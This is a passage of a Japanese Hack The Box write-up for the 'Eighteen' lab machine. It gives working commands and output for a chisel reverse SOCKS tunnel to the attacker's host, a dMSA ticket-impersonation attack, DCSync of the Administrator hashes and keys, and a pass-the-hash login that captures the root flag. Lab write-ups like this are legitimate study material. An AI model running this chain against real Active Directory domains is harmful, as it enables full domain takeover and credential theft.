┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ chisel server --reverse --port 9999 --socks52026/02/24 20:39:51 server: Reverse tunnelling enabled2026/02/24 20:39:51 server: Fingerprint EN1kpQ662wecvqjBnt0RXCS2/bJ7dWGN3tM3xb4eurA=2026/02/24 20:39:51 server: Listening on http://0.0.0.0:9999ターゲット側(クライアント):
Evil-WinRM から chisel バイナリをアップロードし、リバース SOCKS 接続を確立する。
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /usr/share/chisel-common-binaries/chisel_1.11.3_windows_amd64.exe
Info: Uploading /usr/share/chisel-common-binaries/chisel_1.11.3_windows_amd64.exe to C:\Users\adam.scott\Documents\chisel_1.11.3_windows_amd64.exe
Data: 14149632 bytes of 14149632 bytes copied
Info: Upload successful!*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\chisel_1.11.3_windows_amd64.exe client 10.10.16.29:9999 R:sockschisel_1.11.3_windows_amd64.exe : 2026/02/24 10:41:01 client: Connecting to ws://10.10.16.29:9999 + CategoryInfo : NotSpecified: (2026/02/24 10:4...0.10.16.29:9999:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError2026/02/24 10:41:03 client: Connected (Latency 113.4378ms)Kali 側の proxychains 設定に SOCKS5 プロキシを追加する。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ tail /etc/proxychains4.conf -n1socks5 127.0.0.1 1080これで proxychains 経由でターゲットの内部ネットワークにアクセスできるようになった。
impacket-getST による dMSA チケット取得
Pwn$ の認証情報を使い、impacket-getST で dMSA のチケットを取得する。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ proxychains4 impacket-getST 'eighteen.htb/Pwn$:Password123!' -dmsa -self -impersonate 'attacker_dMSA' -dc-ip 10.129.241.10[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...[*] Getting TGT for user[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OKKerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)Kali と DC の時刻のずれ(clock skew)が Kerberos の許容範囲を超えているため失敗。DC の時刻に合わせる必要がある。
Clock Skew の解消
別の Evil-WinRM セッションを開き(chisel 用のセッションはそのまま維持)、DC の現在時刻を取得する。
*Evil-WinRM* PS C:\Users\adam.scott\Documents> [DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")2026-02-24 20:51:21Kali 側の NTP 自動同期を無効化し、DC の時刻に手動で合わせる。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ sudo timedatectl set-ntp false
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ sudo date -u -s "2026-02-24 20:51:12"Tue Feb 24 08:51:12 PM UTC 2026再度 impacket-getST を実行:
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ proxychains4 impacket-getST 'eighteen.htb/Pwn$:Password123!' -dmsa -self -impersonate 'attacker_dMSA' -dc-ip 10.129.241.10[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...[*] Getting TGT for user[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK[*] Impersonating attacker_dMSA$[*] Requesting S4U2self[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.241.10:88 ... OK[*] Current keys:[*] EncryptionTypes.aes256_cts_hmac_sha1_96:d5ce87878fb9b64ed3e1be9c76ad211cafc17f09e35178585552965a463c5503[*] EncryptionTypes.rc4_hmac:7eadbfdf33e4c99f808a7d012b9e4a3e[*] Previous keys:[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec[*] Saving ticket in attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccacheattacker_dMSA$ のチケット取得に成功。dMSA のキー(AES256、RC4)も取得できた。
DCSync — Administrator の NTLM ハッシュ取得
取得したチケットを使い、DCSync で Administrator のハッシュをダンプする。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ export KRB5CCNAME=$(pwd)/attacker_dMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ proxychains4 impacket-secretsdump 'eighteen.htb/attacker_dMSA$@DC01.eighteen.htb' -k -no-pass -just-dc-user Administrator[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17[proxychains] DLL init: proxychains-ng 4.17Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:445 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secrets[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:135 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... DC01.eighteen.htb:49679 ... OK[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OKAdministrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::[*] Kerberos keys grabbedAdministrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7bAdministrator:0x13:5ebe190ad8b5efaaae5928226046dfc0Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55fAdministrator:0x17:0b133be956bfaddf9cea56701affddec[*] Cleaning up...DCSync 成功。 Administrator の NTLM ハッシュを取得できた。
Root Flag
NTLM ハッシュで Pass-the-Hash し、Administrator として WinRM にログイン。
┌──(kali㉿kali)-[~/htb/eighteen.htb]└─$ evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents> whoamieighteen\administrator*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt7707dd82861c01ea256fc609c2b6ca7cRoot flag: 7707dd82861c01ea256fc609c2b6ca7c
![[HTB Writeup] Eighteen](/_astro/machine.Nuk4mhu3_1VgCgD.webp)